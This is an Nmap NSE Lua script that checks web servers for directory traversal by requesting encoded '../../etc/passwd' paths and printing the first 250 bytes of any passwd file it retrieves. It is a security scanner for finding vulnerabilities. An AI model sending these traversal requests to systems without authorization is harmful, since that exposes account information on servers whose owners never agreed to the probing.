description = [[
Checks if a web server is vulnerable to directory traversal by attempting to
retrieve /etc/passwd
using various traversal methods such as
requesting ../../../../etc/passwd
.
]]
-- 07/20/2007:
-- * Used Thomas Buchanan's HTTPAuth script as a starting point
-- * Applied some great suggestions from Brandon Enright, thanks a lot man!
--
-- 01/31/2008:
-- * Rewritten to use Sven Klemm's excellent HTTP library and to do some much
-- needed cleaning up
author = "Kris Katterjohn"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"intrusive", "vuln"}
require "shortport"
require "http"
--- Validates the HTTP response code and checks for a valid
passwd
-- format in the body.
--@param response The HTTP response from the server.
--@return The body of the HTTP response.
local validate = function(response)
if not response.status then
return nil
end
if response.status ~= 200 then
return nil
end
if not response.body:match("^[^:]+:[^:]*:[0-9]+:[0-9]+:") then
return nil
end
return response.body
end
--- Transforms a string with ".", "/" and "\" converted to their URL-formatted
--- hex equivalents
--@param str String to hexify.
--@return Transformed string.
local hexify = function(str)
local ret
ret = str:gsub("%.", "%%2E")
ret = ret:gsub("/", "%%2F")
ret = ret:gsub("\\", "%%5C")
return ret
end
--- Truncates the passwd
file.
--@param passwd passwd
file.
--@return Truncated passwd file and truncated length.
local truncatePasswd = function(passwd)
local len = 250
return passwd:sub(1, len), len
end
--- Formats output.
--@param passwd passwd
file.
--@param dir Formatted request which elicited the good reponse.
--@return String description for output
local output = function(passwd, dir)
local trunc, len = truncatePasswd(passwd)
local out = ""
out = out .. "Found with \"" .. dir .. "\"\n"
out = out .. "Printing first " .. len .. " bytes:\n"
out = out .. trunc
return out
end
portrule = shortport.port_or_service({80, 443, 8080}, {"http", "https"})
action = function(host, port)
local dirs = {
"//etc/passwd",
string.rep("../", 10) .. "etc/passwd",
"." .. string.rep("../", 10) .. "etc/passwd",
string.rep("..\\/", 10) .. "etc\\/passwd",
string.rep("..\\", 10) .. "etc\\passwd"
}
for _, dir in ipairs(dirs) do
local response = http.get(host, port, hexify(dir))
if validate(response) then
return output(response.body, dir)
end
end
return
end